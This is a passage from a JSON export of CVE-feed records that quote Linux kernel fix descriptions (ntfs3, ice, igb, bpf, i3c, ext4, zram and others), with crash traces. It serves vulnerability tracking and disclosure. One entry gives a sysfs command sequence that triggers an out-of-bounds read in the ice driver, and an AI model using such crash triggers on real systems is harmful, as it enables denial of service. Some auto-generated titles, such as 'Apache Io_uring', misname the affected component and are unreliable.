bytes of data.  \n[  176.291791] Unable to handle kernel NULL pointer dereference at  \nvirtual address 0000000000000110  \n[  176.292101] Mem abort info:  \n[  176.292184]   ESR = 0x0000000096000004  \n[  176.292322]   EC = 0x25: DABT (current EL), IL = 32 bits  \n[  176.292530]   SET = 0, FnV = 0  \n[  176.292709]   EA = 0, S1PTW = 0  \n[  176.292862]   FSC = 0x04: level 0 translation fault  \n[  176.293013] Data abort info:  \n[  176.293104]   ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000  \n[  176.293488]   CM = 0, WnR = 0, TnD = 0, TagAccess = 0  \n[  176.293787]   GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0  \n[  176.293995] user pgtable: 4k pages, 48-bit VAs, pgdp=0000000043ef5000  \n[  176.294166] [0000000000000110] pgd=0000000000000000,  \np4d=0000000000000000  \n[  176.294827] Internal error: Oops: 0000000096000004 [#1] PREEMPT SMP  \n[  176.295252] Modules linked in: vxlan ip6_udp_tunnel udp_tunnel veth  \nbr_netfilter bridge stp llc ipv6 crct10dif_ce  \n[  176.295923] CPU: 0 PID: 188 Comm: ping Not tainted  \n6.8.0-rc3-g5b3fbd61b9d1 #2  \n[  176.296314] Hardware name: linux,dummy-virt (DT)  \n[  176.296535] pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS  \nBTYPE=--)  \n[  176.296808] pc : br_nf_dev_queue_xmit+0x390/0x4ec [br_netfilter]  \n[  176.297382] lr : br_nf_dev_queue_xmit+0x2ac/0x4ec [br_netfilter]  \n[  176.297636] sp : ffff800080003630  \n[  176.297743] x29: ffff800080003630 x28: 0000000000000008 x27:  \nffff6828c49ad9f8  \n[  176.298093] x26: ffff6828c49ad000 x25: 0000000000000000 x24:  \n00000000000003e8  \n[  176.298430] x23: 0000000000000000 x22: ffff6828c4960b40 x21:  \nffff6828c3b16d28  \n[  176.298652] x20: ffff6828c3167048 x19: ffff6828c3b16d00 x18:  \n0000000000000014  \n[  176.298926] x17: ffffb0476322f000 x16: ffffb7e164023730 x15:  \n0000000095744632  \n[  176.299296] x14: ffff6828c3f1c880 x13: 0000000000000002 x12:  \nffffb7e137926a70  \n[  176.299574] x11: 0000000000000001 x10: ffff6828c3f1c898 x9 :  \n0000000000000000  \n[  176.300049] x8 : ffff6828c49bf070 x7 : 0008460f18d5f20e x6 :  \nf20e0100bebafeca  \n[  176.300302] x5 : ffff6828c7f918fe x4 : ffff6828c49bf070 x3 :  \n0000000000000000  \n[  176.300586] x2 : 0000000000000000 x1 : ffff6828c3c7ad00 x0 :  \nffff6828c7f918f0  \n[  176.300889] Call trace:  \n[  176.301123]  br_nf_dev_queue_xmit+0x390/0x4ec [br_netfilter]  \n[  176.301411]  br_nf_post_routing+0x2a8/0x3e4 [br_netfilter]  \n[  176.301703]  nf_hook_slow+0x48/0x124  \n[  176.302060]  br_forward_finish+0xc8[...]", "creation_timestamp": "2024-10-21T22:43:03.000000Z"}, {"uuid": "7e15789a-156b-49e6-a5b0-23211343adc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50065", "type": "seen", "source": "https://t.me/cvedetector/8552", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50065 - Linux NTFS3 RCU Wait Sleepfulness\", \n  \"Content\": \"CVE ID : CVE-2024-50065 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nntfs3: Change to non-blocking allocation in ntfs_d_hash  \n  \nd_hash is done while under \"rcu-walk\" and should not sleep.  \n__get_name() allocates using GFP_KERNEL, having the possibility  \nto sleep when under memory pressure. Change the allocation to  \nGFP_NOWAIT. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:02.000000Z"}, {"uuid": "7a7f34ba-6753-48c9-8a35-3bfe60f44575", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50057", "type": "seen", "source": "https://t.me/cvedetector/8561", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50057 - Linux Kernel USB Type-C Tipd IRQ Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50057 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nusb: typec: tipd: Free IRQ only if it was requested before  \n  \nIn polling mode, if no IRQ was requested there is no need to free it.  \nCall devm_free_irq() only if client->irq is set. This fixes the warning  \ncaused by the tps6598x module removal:  \n  \nWARNING: CPU: 2 PID: 333 at kernel/irq/devres.c:144 devm_free_irq+0x80/0x8c  \n...  \n...  \nCall trace:  \n  devm_free_irq+0x80/0x8c  \n  tps6598x_remove+0x28/0x88 [tps6598x]  \n  i2c_device_remove+0x2c/0x9c  \n  device_remove+0x4c/0x80  \n  device_release_driver_internal+0x1cc/0x228  \n  driver_detach+0x50/0x98  \n  bus_remove_driver+0x6c/0xbc  \n  driver_unregister+0x30/0x60  \n  i2c_del_driver+0x54/0x64  \n  tps6598x_i2c_driver_exit+0x18/0xc3c [tps6598x]  \n  __arm64_sys_delete_module+0x184/0x264  \n  invoke_syscall+0x48/0x110  \n  el0_svc_common.constprop.0+0xc8/0xe8  \n  do_el0_svc+0x20/0x2c  \n  el0_svc+0x28/0x98  \n  el0t_64_sync_handler+0x13c/0x158  \n  el0t_64_sync+0x190/0x194 \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:16.000000Z"}, {"uuid": "bb7615c7-6b37-45ef-8611-519dafac0965", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50042", "type": "seen", "source": "https://t.me/cvedetector/8560", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50042 - Integrity Canada Emotional: Linux ice MSI-X Array Realloc Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50042 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nice: Fix increasing MSI-X on VF  \n  \nIncreasing MSI-X value on a VF leads to invalid memory operations. This  \nis caused by not reallocating some arrays.  \n  \nReproducer:  \n  modprobe ice  \n  echo 0 > /sys/bus/pci/devices/$PF_PCI/sriov_drivers_autoprobe  \n  echo 1 > /sys/bus/pci/devices/$PF_PCI/sriov_numvfs  \n  echo 17 > /sys/bus/pci/devices/$VF0_PCI/sriov_vf_msix_count  \n  \nDefault MSI-X is 16, so 17 and above triggers this issue.  \n  \nKASAN reports:  \n  \n  BUG: KASAN: slab-out-of-bounds in ice_vsi_alloc_ring_stats+0x38d/0x4b0 [ice]  \n  Read of size 8 at addr ffff8888b937d180 by task bash/28433  \n  (...)  \n  \n  Call Trace:  \n   (...)  \n   ? ice_vsi_alloc_ring_stats+0x38d/0x4b0 [ice]  \n   kasan_report+0xed/0x120  \n   ? ice_vsi_alloc_ring_stats+0x38d/0x4b0 [ice]  \n   ice_vsi_alloc_ring_stats+0x38d/0x4b0 [ice]  \n   ice_vsi_cfg_def+0x3360/0x4770 [ice]  \n   ? mutex_unlock+0x83/0xd0  \n   ? __pfx_ice_vsi_cfg_def+0x10/0x10 [ice]  \n   ? __pfx_ice_remove_vsi_lkup_fltr+0x10/0x10 [ice]  \n   ice_vsi_cfg+0x7f/0x3b0 [ice]  \n   ice_vf_reconfig_vsi+0x114/0x210 [ice]  \n   ice_sriov_set_msix_vec_count+0x3d0/0x960 [ice]  \n   sriov_vf_msix_count_store+0x21c/0x300  \n   (...)  \n  \n  Allocated by task 28201:  \n   (...)  \n   ice_vsi_cfg_def+0x1c8e/0x4770 [ice]  \n   ice_vsi_cfg+0x7f/0x3b0 [ice]  \n   ice_vsi_setup+0x179/0xa30 [ice]  \n   ice_sriov_configure+0xcaa/0x1520 [ice]  \n   sriov_numvfs_store+0x212/0x390  \n   (...)  \n  \nTo fix it, use ice_vsi_rebuild() instead of ice_vf_reconfig_vsi(). This  \ncauses the required arrays to be reallocated taking the new queue count  \ninto account (ice_vsi_realloc_stat_arrays()). Set req_txq and req_rxq  \nbefore ice_vsi_rebuild(), so that realloc uses the newly set queue  \ncount.  \n  \nAdditionally, ice_vsi_rebuild() does not remove VSI filters  \n(ice_fltr_remove_all()), so ice_vf_init_host_cfg() is no longer  \nnecessary. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:12.000000Z"}, {"uuid": "100e9b37-53e3-4f15-a75b-24c0ab7bda86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50040", "type": "seen", "source": "https://t.me/cvedetector/8559", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50040 - Intel igb PCIe Non-Fatal Error Handling Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50040 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nigb: Do not bring the device up after non-fatal error  \n  \nCommit 004d25060c78 (\"igb: Fix igb_down hung on surprise removal\")  \nchanged igb_io_error_detected() to ignore non-fatal pcie errors in order  \nto avoid hung task that can happen when igb_down() is called multiple  \ntimes. This caused an issue when processing transient non-fatal errors.  \nigb_io_resume(), which is called after igb_io_error_detected(), assumes  \nthat device is brought down by igb_io_error_detected() if the interface  \nis up. This resulted in panic with stacktrace below.  \n  \n[ T3256] igb 0000:09:00.0 haeth0: igb: haeth0 NIC Link is Down  \n[  T292] pcieport 0000:00:1c.5: AER: Uncorrected (Non-Fatal) error received: 0000:09:00.0  \n[  T292] igb 0000:09:00.0: PCIe Bus Error: severity=Uncorrected (Non-Fatal), type=Transaction Layer, (Requester ID)  \n[  T292] igb 0000:09:00.0:   device [8086:1537] error status/mask=00004000/00000000  \n[  T292] igb 0000:09:00.0:    [14] CmpltTO [  200.105524,009][  T292] igb 0000:09:00.0: AER:   TLP Header: 00000000 00000000 00000000 00000000  \n[  T292] pcieport 0000:00:1c.5: AER: broadcast error_detected message  \n[  T292] igb 0000:09:00.0: Non-correctable non-fatal error reported.  \n[  T292] pcieport 0000:00:1c.5: AER: broadcast mmio_enabled message  \n[  T292] pcieport 0000:00:1c.5: AER: broadcast resume message  \n[  T292] ------------[ cut here ]------------  \n[  T292] kernel BUG at net/core/dev.c:6539!  \n[  T292] invalid opcode: 0000 [#1] PREEMPT SMP  \n[  T292] RIP: 0010:napi_enable+0x37/0x40  \n[  T292] Call Trace:  \n[  T292]    \n[  T292]  ? die+0x33/0x90  \n[  T292]  ? do_trap+0xdc/0x110  \n[  T292]  ? napi_enable+0x37/0x40  \n[  T292]  ? do_error_trap+0x70/0xb0  \n[  T292]  ? napi_enable+0x37/0x40  \n[  T292]  ? napi_enable+0x37/0x40  \n[  T292]  ? exc_invalid_op+0x4e/0x70  \n[  T292]  ? napi_enable+0x37/0x40  \n[  T292]  ? asm_exc_invalid_op+0x16/0x20  \n[  T292]  ? napi_enable+0x37/0x40  \n[  T292]  igb_up+0x41/0x150  \n[  T292]  igb_io_resume+0x25/0x70  \n[  T292]  report_resume+0x54/0x70  \n[  T292]  ? report_frozen_detected+0x20/0x20  \n[  T292]  pci_walk_bus+0x6c/0x90  \n[  T292]  ? aer_print_port_info+0xa0/0xa0  \n[  T292]  pcie_do_recovery+0x22f/0x380  \n[  T292]  aer_process_err_devices+0x110/0x160  \n[  T292]  aer_isr+0x1c1/0x1e0  \n[  T292]  ? disable_irq_nosync+0x10/0x10  \n[  T292]  irq_thread_fn+0x1a/0x60  \n[  T292]  irq_thread+0xe3/0x1a0  \n[  T292]  ? irq_set_affinity_notifier+0x120/0x120  \n[  T292]  ? irq_affinity_notify+0x100/0x100  \n[  T292]  kthread+0xe2/0x110  \n[  T292]  ? kthread_complete_and_exit+0x20/0x20  \n[  T292]  ret_from_fork+0x2d/0x50  \n[  T292]  ? kthread_complete_and_exit+0x20/0x20  \n[  T292]  ret_from_fork_asm+0x11/0x20  \n[  T292]    \n  \nTo fix this issue igb_io_resume() checks if the interface is running and  \nthe device is not down this means igb_io_error_detected() did not bring  \nthe device down and there is no need to bring it up. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:11.000000Z"}, {"uuid": "bc57f7ec-00cc-4936-852f-4fc4fff83913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50063", "type": "seen", "source": "https://t.me/cvedetector/8551", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50063 - \"Linux Kernel BPF Tail Call Exploit\"\", \n  \"Content\": \"CVE ID : CVE-2024-50063 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf: Prevent tail call between progs attached to different hooks  \n  \nbpf progs can be attached to kernel functions, and the attached functions  \ncan take different parameters or return different return values. If  \nprog attached to one kernel function tail calls prog attached to another  \nkernel function, the ctx access or return value verification could be  \nbypassed.  \n  \nFor example, if prog1 is attached to func1 which takes only 1 parameter  \nand prog2 is attached to func2 which takes two parameters. Since verifier  \nassumes the bpf ctx passed to prog2 is constructed based on func2's  \nprototype, verifier allows prog2 to access the second parameter from  \nthe bpf ctx passed to it. The problem is that verifier does not prevent  \nprog1 from passing its bpf ctx to prog2 via tail call. In this case,  \nthe bpf ctx passed to prog2 is constructed from func1 instead of func2,  \nthat is, the assumption for ctx access verification is bypassed.  \n  \nAnother example, if BPF LSM prog1 is attached to hook file_alloc_security,  \nand BPF LSM prog2 is attached to hook bpf_lsm_audit_rule_known. Verifier  \nknows the return value rules for these two hooks, e.g. it is legal for  \nbpf_lsm_audit_rule_known to return positive number 1, and it is illegal  \nfor file_alloc_security to return positive number. So verifier allows  \nprog2 to return positive number 1, but does not allow prog1 to return  \npositive number. The problem is that verifier does not prevent prog1  \nfrom calling prog2 via tail call. In this case, prog2's return value 1  \nwill be used as the return value for prog1's hook file_alloc_security.  \nThat is, the return value rule is bypassed.  \n  \nThis patch adds restriction for tail call to prevent such bypasses. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:43:01.000000Z"}, {"uuid": "bfbf747a-9268-4ead-a328-8b1d39921d68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50062", "type": "seen", "source": "https://t.me/cvedetector/8550", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50062 - \"RTRSrv Linux Kernel Null Pointer Dereference Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50062 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/rtrs-srv: Avoid null pointer deref during path establishment  \n  \nFor RTRS path establishment, RTRS client initiates and completes con_num  \nof connections. After establishing all its connections, the information  \nis exchanged between the client and server through the info_req message.  \nDuring this exchange, it is essential that all connections have been  \nestablished, and the state of the RTRS srv path is CONNECTED.  \n  \nSo add these sanity checks, to make sure we detect and abort process in  \nerror scenarios to avoid null pointer deref. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:42:57.000000Z"}, {"uuid": "0f675908-2775-424f-8168-0ba56ab4901b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50061", "type": "seen", "source": "https://t.me/cvedetector/8549", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50061 - Linux i3c: Master: cdns: Use After Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50061 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ni3c: master: cdns: Fix use after free vulnerability in cdns_i3c_master Driver Due to Race Condition  \n  \nIn the cdns_i3c_master_probe function, &master->hj_work is bound with  \ncdns_i3c_master_hj. And cdns_i3c_master_interrupt can call  \ncnds_i3c_master_demux_ibis function to start the work.  \n  \nIf we remove the module which will call cdns_i3c_master_remove to  \nmake cleanup, it will free master->base through i3c_master_unregister  \nwhile the work mentioned above will be used. The sequence of operations  \nthat may lead to a UAF bug is as follows:  \n  \nCPU0                                      CPU1  \n  \n                                     | cdns_i3c_master_hj  \ncdns_i3c_master_remove               |  \ni3c_master_unregister(&master->base) |  \ndevice_unregister(&master->dev)      |  \ndevice_release                       |  \n//free master->base                  |  \n                                     | i3c_master_do_daa(&master->base)  \n                                     | //use master->base  \n  \nFix it by ensuring that the work is canceled before proceeding with  \nthe cleanup in cdns_i3c_master_remove. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:42:56.000000Z"}, {"uuid": "cd0111d6-7d7a-4614-9e98-f23fecedf429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50059", "type": "seen", "source": "https://t.me/cvedetector/8548", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50059 - Linux Kernel ntb: Switchtec NTB Use After Free Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50059 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nntb: ntb_hw_switchtec: Fix use after free vulnerability in switchtec_ntb_remove due to race condition  \n  \nIn the switchtec_ntb_add function, it can call switchtec_ntb_init_sndev  \nfunction, then &sndev->check_link_status_work is bound with  \ncheck_link_status_work. switchtec_ntb_link_notification may be called  \nto start the work.  \n  \nIf we remove the module which will call switchtec_ntb_remove to make  \ncleanup, it will free sndev through kfree(sndev), while the work  \nmentioned above will be used. The sequence of operations that may lead  \nto a UAF bug is as follows:  \n  \nCPU0                                 CPU1  \n  \n                        | check_link_status_work  \nswitchtec_ntb_remove    |  \nkfree(sndev);           |  \n                        | if (sndev->link_force_down)  \n                        | // use sndev  \n  \nFix it by ensuring that the work is canceled before proceeding with  \nthe cleanup in switchtec_ntb_remove. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:42:56.000000Z"}, {"uuid": "cc36fe2c-a3c5-468b-aa20-cd849c7023ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50064", "type": "seen", "source": "https://t.me/cvedetector/8547", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50064 - Linux zram Memory Leak\", \n  \"Content\": \"CVE ID : CVE-2024-50064 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nzram: free secondary algorithms names  \n  \nWe need to kfree() secondary algorithms names when reset zram device that  \nhad multi-streams, otherwise we leak memory.  \n  \n[senozhatsky@chromium.org: kfree(NULL) is legal]  \n  Link:  \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:42:55.000000Z"}, {"uuid": "d5c5e54d-6c57-4542-b5f0-4e59e11baafb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50060", "type": "seen", "source": "https://t.me/cvedetector/8546", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50060 - Apache Io_uring Lock Lack of Overflow Defense\", \n  \"Content\": \"CVE ID : CVE-2024-50060 \nPublished : Oct. 21, 2024, 8:15 p.m. | 16\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nio_uring: check if we need to reschedule during overflow flush  \n  \nIn terms of normal application usage, this list will always be empty.  \nAnd if an application does overflow a bit, it'll have a few entries.  \nHowever, nothing obviously prevents syzbot from running a test case  \nthat generates a ton of overflow entries, and then flushing them can  \ntake quite a while.  \n  \nCheck for needing to reschedule while flushing, and drop our locks and  \ndo so if necessary. There's no state to maintain here as overflows  \nalways prune from head-of-list, hence it's fine to drop and reacquire  \nthe locks at the end of the loop. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T22:42:54.000000Z"}, {"uuid": "d2325358-84d9-45ee-aa3b-a41bd9387c9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50006", "type": "seen", "source": "https://t.me/cvedetector/8541", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50006 - Linux Kernel EXT4 Data Semaphores Deadlock\", \n  \"Content\": \"CVE ID : CVE-2024-50006 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \next4: fix i_data_sem unlock order in ext4_ind_migrate()  \n  \nFuzzing reports a possible deadlock in jbd2_log_wait_commit.  \n  \nThis issue is triggered when an EXT4_IOC_MIGRATE ioctl is set to require  \nsynchronous updates because the file descriptor is opened with O_SYNC.  \nThis can lead to the jbd2_journal_stop() function calling  \njbd2_might_wait_for_commit(), potentially causing a deadlock if the  \nEXT4_IOC_MIGRATE call races with a write(2) system call.  \n  \nThis problem only arises when CONFIG_PROVE_LOCKING is enabled. In this  \ncase, the jbd2_might_wait_for_commit macro locks jbd2_handle in the  \njbd2_journal_stop function while i_data_sem is locked. This triggers  \nlockdep because the jbd2_journal_start function might also lock the same  \njbd2_handle simultaneously.  \n  \nFound by Linux Verification Center (linuxtesting.org) with syzkaller.  \n  \nRule: add \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:49.000000Z"}, {"uuid": "ffd9ca11-9234-44be-8d47-ec89441e8aca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50003", "type": "seen", "source": "https://t.me/cvedetector/8540", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50003 - \"AMD Display Thunderbolt Suspend Hang\"\", \n  \"Content\": \"CVE ID : CVE-2024-50003 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/amd/display: Fix system hang while resume with TBT monitor  \n  \n[Why]  \nConnected with a Thunderbolt monitor and do the suspend and the system  \nmay hang while resume.  \n  \nThe TBT monitor HPD will be triggered during the resume procedure  \nand call the drm_client_modeset_probe() while  \nstruct drm_connector connector->dev->master is NULL.  \n  \nIt will mess up the pipe topology after resume.  \n  \n[How]  \nSkip the TBT monitor HPD during the resume procedure because we  \ncurrently will probe the connectors after resume by default.  \n  \n(cherry picked from commit 453f86a26945207a16b8f66aaed5962dc2b95b85) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:45.000000Z"}, {"uuid": "9cc4aa02-d396-4a2d-9464-f9a7f41d0005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50016", "type": "seen", "source": "https://t.me/cvedetector/8539", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50016 - AMD Linux Kernel Integer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50016 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/amd/display: Avoid overflow assignment in link_dp_cts  \n  \nsampling_rate is an uint8_t but is assigned an unsigned int, and thus it  \ncan overflow. As a result, sampling_rate is changed to uint32_t.  \n  \nSimilarly, LINK_QUAL_PATTERN_SET has a size of 2 bits, and it should  \nonly be assigned to a value less or equal than 4.  \n  \nThis fixes 2 INTEGER_OVERFLOW issues reported by Coverity. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:44.000000Z"}, {"uuid": "403a99e6-7a7d-461e-a6a6-9915b8c681a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50015", "type": "seen", "source": "https://t.me/cvedetector/8538", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50015 - Linux Kernel Ext4 DAX Inode Size Underflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50015 \nPublished : Oct. 21, 2024, 7:15 p.m. | 34\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \next4: dax: fix overflowing extents beyond inode size when partially writing  \n  \nThe dax_iomap_rw() does two things in each iteration: map written blocks  \nand copy user data to blocks. If the process is killed by user(See signal  \nhandling in dax_iomap_iter()), the copied data will be returned and added  \non inode size, which means that the length of written extents may exceed  \nthe inode size, then fsck will fail. An example is given as:  \n  \ndd if=/dev/urandom of=file bs=4M count=1  \n dax_iomap_rw  \n  iomap_iter // round 1  \n   ext4_iomap_begin  \n    ext4_iomap_alloc // allocate 0~2M extents(written flag)  \n  dax_iomap_iter // copy 2M data  \n  iomap_iter // round 2  \n   iomap_iter_advance  \n    iter->pos += iter->processed // iter->pos = 2M  \n   ext4_iomap_begin  \n    ext4_iomap_alloc // allocate 2~4M extents(written flag)  \n  dax_iomap_iter  \n   fatal_signal_pending  \n  done = iter->pos - iocb->ki_pos // done = 2M  \n ext4_handle_inode_extension  \n  ext4_update_inode_size // inode size = 2M  \n  \nfsck reports: Inode 13, i_size is 2097152, should be 4194304.  Fix?  \n  \nFix the problem by truncating extents if the written length is smaller  \nthan expected. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Oct 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-10-21T21:52:43.000000Z"}, {"uuid": "20ce0288-ca61-490a-a514-23cebde154f4", "vulnerability_lookup_origin": 